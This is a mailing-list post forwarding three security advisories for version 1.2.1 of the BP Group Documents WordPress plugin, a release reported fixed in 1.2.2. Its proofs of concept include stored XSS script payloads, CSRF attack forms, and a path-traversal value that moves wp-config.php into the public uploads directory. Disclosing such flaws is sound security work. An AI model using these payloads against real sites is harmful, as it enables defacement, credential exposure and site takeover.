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Message-ID: <5303C310.6060104@dxw.com>
Date: Tue, 18 Feb 2014 20:31:12 +0000
From: Harry Metcalfe <harry@....com>
To: full-disclosure@...ts.grok.org.uk
Subject: Three vulnerabilities in BP Group Documents 1.2.1
(WordPress plugin)
Details below. We intended to publish these earlier, but they slipped
through the net. The most recent version is 1.5, and all these were
reported fixed in 1.2.2.
First one:
https://security.dxw.com/advisories/stored-xss-vulnerability-in-bp-group-documents-1-2-1/
> Details
> ================
> Software: BP Group Documents
> Version: 1.2.1
> Homepage: http://wordpress.org/plugins/bp-group-documents/
> CVSS: 8 (High; AV:N/AC:L/Au:S/C:P/I:P/A:C)
>
>
> Description
> ================
> Stored XSS vulnerability in BP Group Documents 1.2.1
>
> Vulnerability
> ================
> “Display name” and “Description” fields are not escaped, meaning any
> tags including script tags can be stored in them.
>
> Proof of concept
> ================
> Go to the upload form, select a document to upload, set the “Display
> name” to “photograph of a cute puppy<script>alert(‘xss’)</script>” and
> set the “Description” to “this is an innocuous
> description<script>alert(‘xss again’)</script>”.
>
> Mitigations
> ================
> Update to version 1.2.2.
>
> Timeline
> ================
>
> 2013-09-26: Discovered
> 2013-09-30: Reported to plugins@...dpress.org
> 2013-10-04: Fix released (1.2.2)
>
>
> Discovered by:
> ================
> Tom Adams
>
Second one:
https://security.dxw.com/advisories/csrf-vulnerability-in-bp-group-documents-1-2-1/
> Details
> ================
> Software: BP Group Documents
> Version: 1.2.1
> Homepage: http://wordpress.org/plugins/bp-group-documents/
> CVSS: 5 (Medium; AV:N/AC:L/Au:N/C:N/I:P/A:N)
>
>
> Description
> ================
> CSRF vulnerability in BP Group Documents 1.2.1
>
> Vulnerability
> ================
> An unauthenticated user can cause a logged in user to edit the name
> and description of any existing group document. The fields are also
> vulnerable to XSS.
>
> Proof of concept
> ================
> Assume we have a group with slug “x” and a group document with id 8:
> <form method="POST" action="https://wp.ayumu/groups/x/documents/">
> <input type="text" name="bp_group_documents_operation" value="edit">
> <input type="text" name="bp_group_documents_id" value="8">
> <input type="text" name="bp_group_documents_name"
> value="<script>alert(1)</script>">
> <input type="text" name="bp_group_documents_description" value="abc">
> <input type="submit">
> </form>
>
> Mitigations
> ================
> Update to version 1.2.2.
>
> Timeline
> ================
>
> 2013-09-26: Discovered
> 2013-09-30: Reported to plugins@...dpress.org
> 2013-10-04: Fix released (1.2.2)
>
>
> Discovered by:
> ================
> Tom Adams
Third one:
https://security.dxw.com/advisories/moving-any-file-php-user-has-access-to-in-bp-group-documents-1-2-1/
> Details
> ================
> Software: BP Group Documents
> Version: 1.2.1
> Homepage: http://wordpress.org/plugins/bp-group-documents/
> CVSS: 9 (High; AV:N/AC:L/Au:N/C:P/I:P/A:C)
>
>
> Description
> ================
> Moving any file PHP user has access to in BP Group Documents 1.2.1
>
> Vulnerability
> ================
> An admin user (or anybody, since there is a CSRF vulnerability in this
> form) can move any file the PHP user has access to to a location
> inside the uploads directory. From the uploads directory, they are
> likely to be able to read the file.
>
> Proof of concept
> ================
> As a logged in admin, visit a page containing this form and submit it
> (or add auto-submission, and cause a logged in admin to visit it):
> <form method="POST"
> action="http://localhost/wp-admin/options-general.php?page=bp-group-documents-settings">
> <input name="group" value="1">
> <input name="file" value="../../../../wp-config.php">
> <input type="submit">
> </form>
> This will cause the wp-config.php file to be moved to a location
> within wp-content/uploads. In my case it was
> wp-content/uploads/group-documents/1/1380203685-……..wp-config.php. In
> this example I broke a WordPress installation, leaving the site wide
> open to another person to come in and do the “famous five minute
> install”. There may also be handy config files laying around that you
> could read by moving them to the web root.
>
> Mitigations
> ================
> Update to version 1.2.2.
>
> Timeline
> ================
>
> 2013-09-26: Discovered
> 2013-09-30: Reported to plugins@...dpress.org
> 2013-10-04: Fix released (1.2.2)
>
>
> Discovered by:
> ================
> Tom Adams
--
Harry Metcalfe
07790 559 876
@harrym
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